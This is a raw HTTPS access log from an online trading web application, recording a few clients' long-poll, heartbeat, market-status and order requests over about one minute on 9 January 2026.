[09/Jan/2026:14:51:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941744343 HTTP/1.1" -
[09/Jan/2026:14:51:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941760720 HTTP/1.1" -
[09/Jan/2026:14:51:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941747865 HTTP/1.1" -
[09/Jan/2026:14:51:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941754738 HTTP/1.1" -
[09/Jan/2026:14:51:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941749388 HTTP/1.1" -
[09/Jan/2026:14:51:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:51:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941765791 HTTP/1.1" -
[09/Jan/2026:14:51:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:51:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:51:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941753012 HTTP/1.1" -
[09/Jan/2026:14:51:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941759835 HTTP/1.1" -
[09/Jan/2026:14:51:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941754433 HTTP/1.1" -
[09/Jan/2026:14:51:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941770857 HTTP/1.1" -
[09/Jan/2026:14:51:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941758059 HTTP/1.1" -
[09/Jan/2026:14:51:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941764861 HTTP/1.1" -
[09/Jan/2026:14:51:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941759472 HTTP/1.1" -
[09/Jan/2026:14:51:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941775889 HTTP/1.1" -
[09/Jan/2026:14:51:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941763112 HTTP/1.1" -
[09/Jan/2026:14:51:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941769963 HTTP/1.1" -
[09/Jan/2026:14:51:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:51:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941764490 HTTP/1.1" -
[09/Jan/2026:14:51:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941780924 HTTP/1.1" -
[09/Jan/2026:14:51:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941768312 HTTP/1.1" -
[09/Jan/2026:14:51:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941775039 HTTP/1.1" -
[09/Jan/2026:14:51:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941769522 HTTP/1.1" -
[09/Jan/2026:14:51:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941785996 HTTP/1.1" -
[09/Jan/2026:14:51:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:14:51:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941773444 HTTP/1.1" -
[09/Jan/2026:14:51:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941780140 HTTP/1.1" -
[09/Jan/2026:14:51:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941774559 HTTP/1.1" -
[09/Jan/2026:14:51:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:14:51:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941791031 HTTP/1.1" -
[09/Jan/2026:14:51:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:51:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1209
[09/Jan/2026:14:51:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:51:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941778505 HTTP/1.1" -
[09/Jan/2026:14:51:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941785170 HTTP/1.1" -
[09/Jan/2026:14:51:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941779580 HTTP/1.1" -
[09/Jan/2026:14:51:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:51:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941796094 HTTP/1.1" -
[09/Jan/2026:14:51:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:51:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1017
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:51:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941783555 HTTP/1.1" -
[09/Jan/2026:14:51:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941790245 HTTP/1.1" -
[09/Jan/2026:14:51:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941784633 HTTP/1.1" -
[09/Jan/2026:14:51:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:51:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1777
[09/Jan/2026:14:51:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941801144 HTTP/1.1" -
[09/Jan/2026:14:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941788608 HTTP/1.1" -
[09/Jan/2026:14:51:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941795283 HTTP/1.1" -
[09/Jan/2026:14:52:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941789671 HTTP/1.1" -
[09/Jan/2026:14:52:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941806168 HTTP/1.1" -
[09/Jan/2026:14:52:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941793647 HTTP/1.1" -
[09/Jan/2026:14:52:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941800388 HTTP/1.1" -
[09/Jan/2026:14:52:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:52:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941794697 HTTP/1.1" -
[09/Jan/2026:14:52:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941811187 HTTP/1.1" -
[09/Jan/2026:14:52:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941805461 HTTP/1.1" -
[09/Jan/2026:14:52:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941798784 HTTP/1.1" -
[09/Jan/2026:14:52:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941799720 HTTP/1.1" -
[09/Jan/2026:14:52:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941816210 HTTP/1.1" -
[09/Jan/2026:14:52:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:52:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941810561 HTTP/1.1" -
[09/Jan/2026:14:52:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941803944 HTTP/1.1" -
[09/Jan/2026:14:52:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941804771 HTTP/1.1" -
